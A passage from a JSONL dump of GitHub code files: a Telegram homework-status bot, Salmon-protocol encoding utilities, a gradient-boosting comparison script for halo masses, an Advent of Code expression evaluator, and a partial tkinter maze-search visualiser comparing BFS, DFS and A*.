доступность переменных окружения.\n Если отсутствует хотя бы одна переменная окружения — ошибка.\n \"\"\"\n if not all([PRACTICUM_TOKEN, TELEGRAM_TOKEN, TELEGRAM_CHAT_ID]):\n logging.critical('Отсутствует хотя бы одна переменная окружения')\n raise CheckTokenError('Отсутствует хотя бы одна переменная окружения')\n return True\n\n\ndef send_message(bot: telegram.bot.Bot, message: str) -> None:\n \"\"\"Отправляет сообщение в Telegram чат.\"\"\"\n try:\n bot.send_message(TELEGRAM_CHAT_ID, message)\n logging.debug(f'Сообщение отправлено: {message}')\n except Exception as error:\n error = f'Сообщение не удалось отправить: {error}'\n logging.error(error)\n raise MessageSendError(error)\n\n\ndef get_api_answer(timestamp: int) -> dict:\n \"\"\"Запрос к единственному эндпоинту API-сервиса.\"\"\"\n playload = {'from_date': timestamp}\n try:\n response = requests.get(ENDPOINT, headers=HEADERS, params=playload)\n if response.status_code != HTTPStatus.OK:\n logging.error(f'Ошибка доступа к {ENDPOINT}. Код ответа: '\n f'{response.status_code}')\n raise Exception(f'Эндпоинт API-сервиса не доступен: '\n f'Код ответа: {response.status_code}')\n if response is None:\n message = ('нет ответа от API-сервиса')\n logging.error(message)\n raise Exception(message)\n return response.json()\n except Exception as error:\n message = (f'При запросе к API произошел сбой. \"{error}\"')\n logging.error(message)\n raise Exception(message)\n\n\ndef check_response(response: dict) -> list:\n \"\"\"Проверяет ответ API на соответствие документации.\"\"\"\n if not isinstance(response, dict):\n raise TypeError('ответ API не является словарем')\n if 'homeworks' not in response:\n message = ('Ответ API не содержит ключа \"homeworks\"')\n logging.error(message)\n raise KeyError(message)\n homeworks = response.get('homeworks')\n if not isinstance(homeworks, list):\n message = ('Ключ \"homeworks\" не является списком')\n logging.error(message)\n raise TypeError(message)\n return homeworks\n\n\ndef parse_status(homework: dict) -> str:\n \"\"\"Извлекает из информации о конкретной домашней работе статус.\"\"\"\n if not isinstance(homework, dict):\n raise Exception('homework не словарь.')\n homework_name = homework.get('homework_name')\n homework_status = homework.get('status')\n if homework_name is None:\n raise Exception('Ключ \"homework_name\" не обнаоужен')\n if homework_status in HOMEWORK_VERDICTS:\n verdict = HOMEWORK_VERDICTS[homework_status]\n return f'Изменился статус проверки работы \"{homework_name}\". {verdict}'\n raise Exception(f'Неизвестный статус \"{homework_status}\"')\n\n\ndef main() -> None:\n \"\"\"Основная логика работы бота.\"\"\"\n check_tokens()\n bot = telegram.Bot(token=TELEGRAM_TOKEN)\n send_message(bot, 'Бот запущен')\n timestamp = int(time.time())\n last_message = ''\n\n while True:\n try:\n response = get_api_answer(timestamp)\n homeworks = check_response(response)\n for homework in homeworks:\n message = parse_status(homework)\n send_message(bot, message)\n else:\n logging.debug('Нет нового статусa')\n except Exception as error:\n message_error = f'Сбой в работе программы: {error}'\n logging.error(message_error)\n if message_error != last_message:\n last_message = message_error\n send_message(bot, message_error)\n finally:\n time.sleep(RETRY_PERIOD)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Evkasonka/homework_bot","sub_path":"homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":5417,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"39740401303","text":"__author__ = 'hjfreyer@google.com (Hunter Freyer)'\n\n\nimport base64\nimport re\nimport sys\nimport time\n\n# ElementTree is standard with Python >=2.5, needs\n# environment support for 2.4 and lower.\ntry:\n import xml.etree.ElementTree as et # Python >=2.5\nexcept ImportError:\n try:\n import elementtree as et # Allow local path override\n except ImportError:\n raise\n\nimport exceptions\nimport magicsigalg\n\n\nclass Namespaces(object):\n ATOM_NS_URL = 'http://www.w3.org/2005/Atom'\n ME_NS_URL = 'http://salmon-protocol.org/ns/magic-env'\n THR_NS_URL = 'http://purl.org/syndication/thread/1.0'\n ATOM_NS='{%s}' % ATOM_NS_URL\n ME_NS='{%s}' % ME_NS_URL\n\n\nclass Mimes(object):\n ATOM = 'application/atom+xml'\n JSON = 'application/json'\n JSON_ME = 'application/magic-env+json'\n XML_ME = 'application/magic-env+xml'\n\n\n_WHITESPACE_RE = re.compile(r'\\s+')\ndef Squeeze(s): # Remove all whitespace\n return re.sub(_WHITESPACE_RE, '', s)\n\n\nclass DefaultAuthorExtractor(object):\n def ExtractAuthors(self, text, mime_type):\n if mime_type in [Mimes.ATOM]:\n xml = et.XML(text)\n\n auth_uris = xml.findall(Namespaces.ATOM_NS+'author/'\n + Namespaces.ATOM_NS+'uri')\n\n if auth_uris:\n return [NormalizeUserIdToUri(auth_uri.text) for auth_uri in auth_uris]\n else:\n return []\n elif mime_type in [Mimes.JSON]:\n raise NotImplementedError('JSON parsing not implemented')\n else:\n return []\n\n\ndef NormalizeUserIdToUri(userid):\n \"\"\"Normalizes a user-provided user id to a reasonable guess at a URI.\"\"\"\n userid = userid.strip()\n\n # If already in a URI form, we're done:\n if (userid.startswith('http:') or\n userid.startswith('https:') or\n userid.startswith('acct:')):\n return userid\n\n if userid.find('@') > 0:\n return 'acct:'+userid\n\n # Catchall: Guess at http: if nothing else works.\n return 'http://'+userid\n\n\nclass DefaultEncoder(object):\n \"\"\"Encodes specified data strings.\"\"\"\n\n def Encode(self, raw_text_data, encoding):\n \"\"\"Encodes raw data into an armored form.\n\n Args:\n raw_text_data: Textual data to be encoded; should be in utf-8 form.\n Returns:\n The encoded data in the specified format.\n \"\"\"\n if encoding != 'base64url':\n raise exceptions.UnsupportedEncodingError(\n 'Encoding must be \"base64url\", not ' + encoding)\n\n return base64.urlsafe_b64encode(\n unicode(raw_text_data).encode('utf-8')).encode('utf-8')\n\n def Decode(self, encoded_text_data, encoding):\n \"\"\"Decodes armored data into raw text form.\n\n Args:\n encoded_text_data: Armored data to be decoded.\n encoding: Encoding to use.\n Raises:\n ValueError: If the encoding is unknown.\n Returns:\n The raw decoded text as a string.\n \"\"\"\n if encoding != 'base64url':\n raise exceptions.UnsupportedEncodingError(\n 'Encoding must be \"base64url\", not ' + encoding)\n\n return base64.urlsafe_b64decode(encoded_text_data.encode('utf-8'))\n\n\ndef ToPretty(text, indent, linelength):\n \"\"\"Makes huge text lines pretty, or at least printable.\"\"\"\n tl = linelength - indent\n output = ''\n for i in range(0, len(text), tl):\n if output:\n output += '\\n'\n output += ' ' * indent + text[i:i+tl]\n return output\n\n\ndef PrettyIndent(elem, level=0):\n \"\"\"Prettifies an element tree in-place\"\"\"\n # TODO(jpanzer): Avoid munging text nodes where it matters?\n i = \"\\n\" + level*\" \"\n if len(elem):\n if not elem.text or not elem.text.strip():\n elem.text = i + \" \"\n if not elem.tail or not elem.tail.strip():\n elem.tail = i\n for elem in elem:\n PrettyIndent(elem, level+1)\n if not elem.tail or not elem.tail.strip():\n elem.tail = i\n else:\n if level and (not elem.tail or not elem.tail.strip()):\n elem.tail = i\n","repo_name":"salmon-protocol/salmon-protocol","sub_path":"lib/python/magicsig_hjfreyer/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3782,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"44"} +{"seq_id":"274122795","text":"import numpy as np\nfrom sklearn.ensemble import GradientBoostingRegressor\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import mean_absolute_error as mae\nfrom mlhalos import plot\nfrom sklearn.model_selection import GridSearchCV\nimport os; os.environ['KMP_DUPLICATE_LIB_OK']='True'\nimport lightgbm as lgb\nfrom ..plots import plotting_functions as pf\n\n\n################## FIRST BUILD THE TRAINING SET FROM ORIGINAL SIMULATION ##################\n\ntraj = np.load(\"/Users/lls/Documents/mlhalos_files/regression/features_w_periodicity_fix/ics_density_contrasts.npy\")\nhalo_mass = np.load(\"/Users/lls/Documents/mlhalos_files/stored_files/halo_mass_particles.npy\")\n\ntraining_ids = np.load(\"/Users/lls/Documents/mlhalos_files/regression/gradboost/random_sampled_training/\"\n \"ic_traj/nest_2000_lr006/training_ids.npy\")\n\nfeatures_training = traj[training_ids, :-1]\ntruth_training = np.log10(halo_mass[training_ids])\n\n# Validation set from same simulation\n\nall_ids = np.arange(256**3)[halo_mass > 0]\nremaining_ids = all_ids[~np.in1d(all_ids, training_ids)]\nvalidation_ids_same_sim = np.random.choice(remaining_ids, 10000, replace=False)\n\nfeatures_val_same_sim = traj[validation_ids_same_sim, :-1]\ntruth_val_same_sim = np.log10(halo_mass[validation_ids_same_sim])\n\n# Validation set from different simulation\n\ntraj_val = np.load(\"/Users/lls/Documents/mlhalos_files/reseed50/features/density_constrasts.npy\")\ntruth_val = np.load(\"/Users/lls/Documents/mlhalos_files/reseed50/features/halo_mass_particles.npy\")\n\nall_ids_diff_sim = np.arange(256**3)[truth_val > 0]\nval_ids_diff_sim = np.random.choice(all_ids_diff_sim, 10000, replace=False)\n\nfeatures_val_diff_sim = traj_val[val_ids_diff_sim, :-1]\ntruth_val_diff_sim = np.log10(truth_val[val_ids_diff_sim])\n\n# sklearn GBT\n\nparam_grid = {\"max_depth\": [3, 5, 8],\n \"max_features\": [\"sqrt\", 0.3, 0.5, 0.8],\n \"min_samples_leaf\": [0.05, 0.1, 0.3]\n }\n\ngbm_base = GradientBoostingRegressor(n_estimators=500, subsample=0.8, learning_rate=0.05, loss=\"lad\")\ngbm_cv = GridSearchCV(estimator=gbm_base, param_grid=param_grid, cv=3, verbose=2, n_jobs=-1,\n scoring=\"neg_mean_absolute_error\")\ngbm_cv.fit(features_training, truth_training)\n\ngbm_bestest = gbm_cv.best_estimator_\nimp_sklearn = gbm_bestest.feature_importances_\n\n# gbm_bestest = GradientBoostingRegressor(alpha=0.9, criterion='friedman_mse', init=None,\n# learning_rate=0.05, loss='lad', max_depth=8, max_features=0.8,\n# max_leaf_nodes=None, min_impurity_decrease=0.0,\n# min_impurity_split=None, min_samples_leaf=0.05,\n# min_samples_split=2, min_weight_fraction_leaf=0.0,\n# n_estimators=500, n_iter_no_change=None, presort='auto',\n# random_state=None, subsample=0.8, tol=0.0001,\n# validation_fraction=0.1, verbose=0, warm_start=False)\n# gbm_bestest.fit(features_training, truth_training)\n\n\n# compare importances to LGBM\n\nlgb_train = lgb.Dataset(features_training, truth_training)\n# lgb_eval = lgb.Dataset(features_val_diff_sim, truth_val_diff_sim, reference=lgb_train)\n# lgb_eval = lgb.Dataset(features_val_same_sim, truth_val_same_sim, reference=lgb_train)\n\nparams = {'boosting_type': 'gbdt', 'objective': 'regression', 'metric':'l1', 'num_leaves': 60,\n 'learning_rate': 0.1, 'feature_fraction': 0.6, 'bagging_fraction': 0.8, 'bagging_freq': 5, 'verbose': 0\n }\nlgbm_algo = lgb.train(params, lgb_train, num_boost_round=1000)\n\n\n###### Plot importances ######\n\n\ndef plot_importances(imp, label=\"1000 trees, depth 2\", m=None, width=None, title=r\"Halos $12.5 < \\log M \\leq 13.5$\"):\n if m is None:\n m = np.linspace(np.log10(3e10), np.log10(1e15), 50)[:-1]\n width = np.append(np.diff(m), np.diff(m)[-1])[:-1]\n\n plot.plot_importances_vs_mass_scale(imp, 10 ** m, width=width, label=label,\n title=title, subplots=1, figsize=(10, 5))\n plt.legend(loc=\"best\", fontsize=16)\n plt.subplots_adjust(bottom=0.15, top=0.9)\n # plt.ylim(0, 0.2)\n\n\nimp_lgbm = lgbm_algo.feature_importance(\"gain\")\n\nm = np.linspace(np.log10(3e10), np.log10(1e15), 50)[:-1]\nwidth = np.append(np.diff(10**m), np.diff(10**m)[-1])\n\nplot_importances(gbm_bestest.feature_importances_, label=\"sklearn\", title=\"All halos\")\nplt.bar(10**m, imp_lgbm/np.sum(imp_lgbm), width=2/3*width, label=\"LightGBM\", color=\"pink\", alpha=0.8)\nplt.legend(loc=\"best\")\n\n###### Plot predictions for test set ######\n\ntesting_ids = np.load(\"/Users/lls/Documents/mlhalos_files/regression/gradboost/random_sampled_training/\"\n \"ic_traj/nest_2000_lr006/testing_ids.npy\")\n\nfeatures_testing = traj[testing_ids, :-1]\ntruth_testing = np.log10(traj[testing_ids])\n\npred_sklearn = gbm_bestest.predict(features_testing)\npred_lgbm = lgbm_algo.predict(features_testing)\n\nbins_plotting = np.linspace(truth_testing.min(), truth_testing.max(), 15, endpoint=True)\npf.compare_two_violin_plots(pred_sklearn, truth_testing, pred_lgbm, truth_testing, bins_plotting, path=None,\n label1=\"sklearn\", label2=\"LightGBM\")\nplt.legend(loc=\"best\")\nplt.savefig(\"/Users/lls/Desktop/violins_sklearn_lgbm.png\")\n","repo_name":"lluciesmith/mlhalos_code","sub_path":"regression/gradboost/all_halos_sklearn_vs_lgbm.py","file_name":"all_halos_sklearn_vs_lgbm.py","file_ext":"py","file_size_in_byte":5195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"70216381574","text":"def first_star(expressions): return calculate_sum_of_exrpressions(expressions, {'+' : 1, '*' : 1})\ndef second_star(expressions): return calculate_sum_of_exrpressions(expressions, {'+' : 2, '*' : 1})\n\ndef calculate_sum_of_exrpressions(expressions, precedence):\n tokens = [expression.replace(\"(\", \" ( \").replace(\")\", \" ) \").split() for expression in expressions]\n return sum([calculate_rpn(infix_to_rpn(token, precedence)) for token in tokens])\n\ndef infix_to_rpn(tokens, precedence):\n is_operator = lambda token: token in precedence\n rpn_output = []\n stack = []\n \n for token in tokens:\n if is_operator(token):\n while stack and is_operator(stack[-1]):\n if precedence[token] <= precedence[stack[-1]]:\n rpn_output.append(stack.pop())\n continue\n break\n stack.append(token)\n elif token == '(':\n stack.append(token)\n elif token == ')':\n while len(stack) != 0 and stack[-1] != '(':\n rpn_output.append(stack.pop())\n stack.pop()\n else:\n rpn_output.append(token)\n \n while len(stack) != 0:\n rpn_output.append(stack.pop())\n \n return rpn_output\n\ndef calculate_rpn(rpn_tokens):\n stack = []\n operations = {\n '+': lambda x, y: x + y,\n '*': lambda x, y: x * y\n }\n\n for token in rpn_tokens:\n if token.isnumeric():\n stack.append(int(token))\n else:\n first = stack.pop()\n second = stack.pop()\n result = operations[token](first, second)\n stack.append(result)\n \n return stack[0]\n\n\nif __name__ == \"__main__\":\n math = open('src/main/resources/day18/input.txt', 'r').read().split(\"\\n\")\n print(first_star(math))\n print(second_star(math))","repo_name":"grudus/AdventOfCode2020","sub_path":"src/main/python/day18.py","file_name":"day18.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"22437143001","text":"\n'''\nCS 5002 - Final Project\n\nMaze Traversal using BFS, DFS, and A-star.\n\nThis is a visual demonstration of how various algorithms are used to create an AI agent to traverse a maze.\n\nHUI, Macarious Kin Fung\n'''\n\nfrom queue import PriorityQueue\nimport tkinter as tk\nfrom tkinter import ttk\n\n\nCELL_SIZE = 30 # for animation\nANIMATION_INTERVAL = 40 # milliseconds\nFONT = {\n 'heading' : ('Arial', 16, 'underline'),\n 'info box' : ('Arial', 11),\n 'cell' : ('Arial', 8, 'bold'),\n}\nCOLOUR = {\n 'wall' : 'black',\n 'empty' : 'white',\n 'start' : 'green1',\n 'end' : 'red1',\n 'path_bfs' : 'yellow1',\n 'path_dfs' : 'purple1',\n 'path_astar' : 'cyan',\n 'font' : 'black',\n} \n\n\nclass Node:\n def __init__(self, position, parent, g = 0, h = 0):\n '''\n Function Name: __init__\n Constructor for Node class\n \n Parameters:\n position -- tuple, current coordinates\n parent -- Node, parent of current node\n g -- numeral,cost from start to new node, used in A*\n h -- numeral, heuristc, used in A*\n\n Returns:\n None\n '''\n self.position = position\n self.parent = parent\n self.g = g\n self.h = h\n\n\n def __eq__(self, other):\n '''\n Function Name: __init__\n Compares two Node objects\n\n Returns:\n bool, True if cost of left Node is equal the cost of right Node;\n False otherwise\n '''\n return (self.g + self.h) == (other.g + other.h)\n\n\n def __lt__(self, other):\n '''\n Function Name: __init__\n Compares two Node objects\n\n Returns:\n bool, True if cost of left Node is less than the cost of right Node;\n False otherwise\n '''\n return (self.g + self.h) < (other.g + other.h)\n\n\nclass Application:\n '''\n The 'Application' class builds a user-defined maze, solves it, and\n displays the results graphically\n '''\n def __init__(self, master, maze, start, end):\n '''\n Method Name: __init__\n Constructor for 'Application' class\n \n Parameters:\n master -- root of application window\n maze -- 2D array, represents the maze\n start -- tuple, start coordinates\n end -- tuple, end coordintes\n \n Raises:\n Nothing\n \n Returns:\n None\n '''\n self.master = master\n self.maze = maze\n self.start = start\n self.end = end\n self.bfs_counter = 0\n self.dfs_counter = 0\n self.astar_counter = 0\n self.bfs_path = []\n self.dfs_path = []\n self.astar_path = []\n\n\n def build_window(self):\n '''\n Function Name: build_window\n Build the application window for a graphical user interface\n \n Parameters:\n Nothing\n \n Raises:\n Nothing\n \n Returns:\n None\n '''\n # Set title of window\n self.master.title('CS 5002 - Maze Traversal')\n\n # Set size of window\n width = len(self.maze[0]) * CELL_SIZE\n height = len(self.maze) * CELL_SIZE\n\n # Create labels for displaying headers\n self.label_bfs = ttk.Label(self.master, anchor = 'center', text = 'Breadth First Search', font = FONT['heading'])\n self.label_bfs.grid(column = 0, row = 0, sticky = 'nsew', padx = 20, pady = 5)\n self.label_dfs = ttk.Label(self.master, anchor = 'center', text = 'Depth First Search', font = FONT['heading'])\n self.label_dfs.grid(column = 1, row = 0, sticky = 'nsew', padx = 20, pady = 5)\n self.label_astar = ttk.Label(self.master, anchor = 'center', text = 'A* Search', font = FONT['heading'])\n self.label_astar.grid(column = 2, row = 0, sticky = 'nsew', padx = 20, pady = 5)\n\n # Create two canvas widgets to draw maze\n self.canvas_bfs = tk.Canvas(self.master, width = width, height = height)\n self.canvas_bfs.grid(column = 0, row = 1, sticky = 'nsew', padx = 20, pady = 5)\n self.canvas_dfs = tk.Canvas(self.master, width = width, height = height)\n self.canvas_dfs.grid(column = 1, row = 1, sticky = 'nsew', padx = 20, pady = 5)\n self.canvas_astar = tk.Canvas(self.master, width = width, height = height)\n self.canvas_astar.grid(column = 2, row = 1, sticky = 'nsew', padx = 20, pady = 5)\n\n # Draw maze in both canvases:\n self.draw_maze(self.canvas_bfs)\n self.draw_maze(self.canvas_dfs)\n self.draw_maze(self.canvas_astar)\n\n # Create buttons\n self.button_bfs = ttk.Button(self.master, text = 'Start BFS', command = self.start_bfs, state = 'normal')\n self.button_bfs.grid(column = 0, row = 2, sticky = 'nsew', padx = 70, pady = 0)\n self.button_dfs = ttk.Button(self.master, text = 'Start DFS', command = self.start_dfs, state = 'normal')\n self.button_dfs.grid(column = 1, row = 2, sticky = 'nsew', padx = 70, pady = 0)\n self.button_astar = ttk.Button(self.master, text = 'Start A*', command = self.start_astar, state = 'normal')\n self.button_astar.grid(column = 2, row = 2, sticky = 'nsew', padx = 70, pady = 0)\n\n # Create labels for displaing results\n self.frame_bfs_results = ttk.LabelFrame(self.master, text = 'BFS Results', labelanchor = 'nw', relief = 'solid')\n self.frame_bfs_results.grid(column = 0, row = 3, sticky = 'nsew', padx = 20, pady = 5)\n self.label_bfs_results = ttk.Label(self.frame_bfs_results, anchor = 'nw', text = '', font = FONT['info box'], wraplength = len(self.maze[0]) * CELL_SIZE - 50)\n self.label_bfs_results.pack(expand = True, fill = 'both', padx = 20, pady = 5)\n\n self.frame_dfs_results = ttk.LabelFrame(self.master, text = 'DFS Results', labelanchor = 'nw', relief = 'solid')\n self.frame_dfs_results.grid(column = 1, row = 3, sticky = 'nsew', padx = 20, pady = 5)\n self.label_dfs_results = ttk.Label(self.frame_dfs_results, anchor = 'nw', text = '', font = FONT['info box'], wraplength = len(self.maze[0]) * CELL_SIZE - 50)\n self.label_dfs_results.pack(expand = True, fill = 'both', padx = 20, pady = 5)\n\n self.frame_astar_results = ttk.LabelFrame(self.master, text = 'A* Results', labelanchor = 'nw', relief = 'solid')\n self.frame_astar_results.grid(column = 2, row = 3, sticky = 'nsew', padx = 20, pady = 5)\n self.label_astar_results = ttk.Label(self.frame_astar_results, anchor = 'nw', text = '', font = FONT['info box'], wraplength = len(self.maze[0]) * CELL_SIZE - 50)\n self.label_astar_results.pack(expand = True, fill = 'both', padx = 20, pady = 5)\n\n self.update_text()\n\n\n def start_bfs(self):\n '''\n Function Name: start_bfs\n Starts the breadth-first search algorithm to traverse a maze\n \n Parameters:\n Nothing\n \n Raises:\n Nothing\n \n Returns:\n list of tuples, list of positions to traverse from start to end\n '''\n self.disable_buttons()\n self.bfs_counter = 0 # Reset counter\n self.bfs_path = [] # Reset path\n self.draw_maze(self.canvas_bfs)\n start_node = Node(position = self.start, parent = None)\n queue = [start_node] # Use queue as data structure\n visited = set() # Create a set of visited nodes\n\n while len(queue) > 0: # Keep searching until queue is empty\n\n current_node = queue.pop(0)\n\n # Update info in application window\n self.bfs_counter += 1\n self.draw_path_circle(current_node, self.canvas_bfs, COLOUR['path_bfs'], self.bfs_counter)\n self.update_text()\n\n visited.add(current_node.position)\n\n if current_node.position == self.end:\n path = [] # Find path by seeking through all parents node\n while current_node is not None:\n path.append(current_node.position)\n current_node = current_node.parent\n\n self.bfs_path = path[::-1] # Reverse the list of nodes\n self.draw_path_all(self.bfs_path, self.canvas_bfs, COLOUR['path_bfs'])\n self.update_text()\n return path\n\n # From current cell, traverse to all possible nodes (N, E, S, W)\n for row_change, column_change in [(-1, 0), (0, 1), (1, 0), (0, -1)]:\n new_row = current_node.position[0] + row_change\n new_column = current_node.position[1] + column_change\n\n # Check if adjacent cell is a valid path\n # Valid path must be in range of maze boundaries\n # Valid path must not be a wall\n # Valid path cannot already be in queue\n if (\n (0 <= new_row < len(self.maze)) and (0 <= new_column < len(self.maze[0])) and\n (self.maze[new_row][new_column] != 1) and ((new_row, new_column) not in visited)\n ) and all((new_row, new_column) != position for position in (node.position for node in queue)\n ):\n # Set current node as parent and add current node to queue\n queue.append(Node(position = (new_row, new_column), parent = current_node))\n\n self.bfs_path = 'BFS: no solution found'\n self.update_text()\n\n\n def start_dfs(self):\n '''\n Function Name: start_dfs\n Starts the depth-first search algorithm to traverse a maze\n \n Parameters:\n Nothing\n \n Raises:\n Nothing\n \n Returns:\n list of tuples, list of positions to traverse from start to end\n '''\n self.disable_buttons()\n self.dfs_counter = 0 # Reset counter\n self.dfs_path = [] # Reset path\n self.draw_maze(self.canvas_dfs)\n start_node = Node(position = self.start, parent = None)\n stack = [start_node] # Use stack as data structure\n visited = set() # Create a set of visited nodes\n\n while len(stack) > 0: # Keep searching until stack is empty\n\n current_node = stack.pop(-1)\n\n # Update info in application window\n self.dfs_counter += 1\n self.draw_path_circle(current_node, self.canvas_dfs, COLOUR['path_dfs'], self.dfs_counter)\n self.update_text()\n\n visited.add(current_node.position)\n\n if current_node.position == self.end:\n path = [] # Find path by seeking through all parents node\n while current_node is not None:\n path.append(current_node.position)\n current_node = current_node.parent\n\n self.dfs_path = path[::-1] # Reverse the list of nodes\n self.draw_path_all(self.dfs_path, self.canvas_dfs, COLOUR['path_dfs'])\n self.update_text()\n return path\n\n # From current cell, traverse to all possible nodes (W, S, E, N)\n for row_change, column_change in [(0, -1), (1, 0), (0, 1), (-1, 0)]:\n new_row = current_node.position[0] + row_change\n new_column = current_node.position[1] + column_change\n\n # Check if adjacent cell is a valid path\n # Valid path must be in range of maze boundaries\n # Valid path must not be a wall\n if (\n (0 <= new_row < len(self.maze)) and (0 <= new_column < len(self.maze[0])) and\n (self.maze[new_row][new_column] != 1) and ((new_row, new_column) not in visited)\n ):\n # Set current node as parent and add current node to stack\n stack.append(Node(position = (new_row, new_column), parent = current_node))\n\n self.dfs_path = 'DFS: no solution found'\n self.update_text()\n\n\n def start_astar(self):\n '''\n Function Name: start_dfs\n Starts the A* search algorithm to traverse a maze\n \n Parameters:\n Nothing\n \n Raises:\n Nothing\n \n Returns:\n list of tuples, list of positions to traverse from start to end\n '''\n self.disable_buttons()\n # self.draw_maze(self.canvas_astar)\n self.astar_counter = 0 # Reset counter\n self.astar_path = [] # Reset path\n self.draw_maze(self.canvas_astar)\n start_node = Node(self.start, None)\n pqueue = PriorityQueue() # Instantiate a priority queue\n pqueue.put(start_node)\n visited = set() # Create a set of visited nodes\n\n while not pqueue.empty(): # Keep searching until priority queue is empty\n \n current_node = pqueue.get() # Takes out the node with least cost\n\n #Update info in application window\n self.astar_counter += 1\n self.draw_path_circle(current_node, self.canvas_astar, COLOUR['path_astar'], self.astar_counter)\n self.update_text()\n\n visited.add(current_node.position)\n\n if current_node.position == self.end:\n path = [] # Find path by seeking through all parents node\n while current_node is not None:\n path.append(current_node.position)\n current_node = current_node.parent\n\n self.astar_path = path[::-1] # Reverse the list of nodes\n self.draw_path_all(self.astar_path, self.canvas_astar, COLOUR['path_astar'])\n self.update_text()\n return path\n\n # From current cell, find all possible nodes (N, E, S, W) \n for row_change, column_change in [(-1, 0), (0, 1), (1, 0), (0, -1)]:\n new_row = current_node.position[0] + row_change\n new_column = current_node.position[1] + column_change\n\n # Check if adjacent cell is a valid path\n # Valid path must be in range of maze boundaries\n # Valid path must not be a wall\n if (\n (0 <= new_row < len(self.maze)) and (0 <= new_column < len(self.maze[0])) and\n (self.maze[new_row][new_column] != 1) and ((new_row, new_column) not in visited)\n and all((new_row, new_column) != node.position for node in pqueue.queue)\n ):\n \n # Distance from new cell to end cell:\n # Calculate heuristic using Manthttan distance\n # h = abs(x - x_end) + abs(y - y_end)\n new_h = abs(new_row - self.end[0]) + abs(new_column - self.end[1])\n new_g = current_node.g + 1 # Update cost from current cell to new cell\n\n # Set current node as parent and add current node to priority queue\n new_node = Node(position = (new_row, new_column), parent = current_node, g = new_g, h = new_h)\n pqueue.put(new_node)\n\n self.astar_path = 'A Star: no solution found'\n self.update_text()\n\n \n def draw_maze(self, canvas):\n '''\n Function Name: draw_maze\n Draw the maze on the canvas widget\n \n Parameters:\n canvas -- Canvas, widget in tkinter, used for drawing shapes\n \n Raises:\n Nothing\n \n Returns:\n None\n '''\n # Iterate through all cells in maze\n for row in range(len(self.maze)):\n for column in range(len(self.maze[0])):\n if self.maze[row][column] == 1: # Cell is a wall\n canvas.create_rectangle(\n column * CELL_SIZE, # pixels, horizontal distance to left edge\n row * CELL_SIZE, # pixels, vertical distance to upper edge\n column * CELL_SIZE + CELL_SIZE, # pixels, horizontal distance to right edge\n row * CELL_SIZE + CELL_SIZE, # pixels, vertical distance to lower edge\n fill = COLOUR['wall']\n )\n else:\n canvas.create_rectangle(\n column * CELL_SIZE,\n row * CELL_SIZE,\n column * CELL_SIZE + CELL_SIZE,\n row * CELL_SIZE + CELL_SIZE,\n fill = COLOUR['empty']\n )\n\n\n def draw_path_circle(self, current_node, canvas, colour, counter):\n '''\n Function Name: draw_path_circle\n Draws a small circle in an empty cell\n \n Parameters:\n current_node -- Node, represents a node with position and parent\n canvas -- Canvas, widget in tkinter, used for drawing shapes\n colour -- str, colour used to draw the path\n \n Raises:\n Nothing\n \n Returns:\n None\n '''\n row, column = current_node.position\n for size in (0.20, 0.50, 0.70):\n self.wait(ANIMATION_INTERVAL)\n canvas.create_oval(\n column * CELL_SIZE + (0.5 - size / 2) * CELL_SIZE,\n row * CELL_SIZE + (0.5 - size / 2) * CELL_SIZE,\n column * CELL_SIZE + (0.5 + size / 2) *CELL_SIZE,\n row * CELL_SIZE + (0.5 + size / 2) *CELL_SIZE,\n fill = colour\n )\n canvas.create_text(\n column * CELL_SIZE + 0.5 * CELL_SIZE,\n row * CELL_SIZE + 0.5 * CELL_SIZE,\n text = counter,\n fill = COLOUR['font'],\n font = FONT['cell']\n )\n\n\n def draw_path_all(self, path, canvas, colour):\n '''\n Function Name: draw_path_all\n Draws the entire path solution on canvas\n \n Parameters:\n path -- list of tuples, list of positions from start to finish\n canvas -- Canvas, widget in tkinter, used for drawing shapes\n colour -- str, colour used to draw the path\n \n Raises:\n Nothing\n \n Returns:\n None\n '''\n # Plot solution path\n for row, column in path:\n self.wait(ANIMATION_INTERVAL)\n if (row, column) == path[0]:\n for size in (1.00, 0.75):\n self.wait(ANIMATION_INTERVAL)\n canvas.create_rectangle(\n column * CELL_SIZE + (0.5 - size / 2) * CELL_SIZE,\n row * CELL_SIZE + (0.5 - size / 2) * CELL_SIZE,\n column * CELL_SIZE + (0.5 + size / 2) *CELL_SIZE,\n row * CELL_SIZE + (0.5 + size / 2) *CELL_SIZE,\n fill = COLOUR['start']\n )\n canvas.create_text(\n column * CELL_SIZE + 0.5 * CELL_SIZE,\n row * CELL_SIZE + 0.5 * CELL_SIZE,\n text = 'S',\n fill = COLOUR['font'],\n font = FONT['cell']\n )\n\n elif (row, column) == path[-1]:\n for size in (1.00, 0.75):\n self.wait(ANIMATION_INTERVAL)\n canvas.create_rectangle(\n column * CELL_SIZE + (0.5 - size / 2) * CELL_SIZE,\n row * CELL_SIZE + (0.5 - size / 2) * CELL_SIZE,\n column * CELL_SIZE + (0.5 + size / 2) *CELL_SIZE,\n row * CELL_SIZE + (0.5 + size / 2) *CELL_SIZE,\n fill = COLOUR['end']\n )\n canvas.create_text(\n column * CELL_SIZE + 0.5 * CELL_SIZE,\n row * CELL_SIZE + 0.5 * CELL_SIZE,\n text = 'E',\n fill = COLOUR['font'],\n font = FONT['cell']\n )\n \n else:\n for size in (1.00,):\n self.wait(ANIMATION_INTERVAL)\n canvas.create_rectangle(\n column * CELL_SIZE + (0.5 - size / 2) * CELL_SIZE,\n row * CELL_SIZE + (0.5 - size / 2) * CELL_SIZE,\n column * CELL_SIZE + (0.5 + size / 2) *CELL_SIZE,\n row * CELL_SIZE + (0.5 + size / 2) *CELL_SIZE,\n fill = colour\n )\n self.enable_buttons()\n\n\n def update_text(self):\n '''\n Function Name: update_text\n Updates the message window with search results\n \n Parameters:\n Nothing\n \n Raises:\n Nothing\n \n Returns:\n None\n '''\n text_bfs = (\n f\"Steps:\\t{self.bfs_counter}\\n\"\n 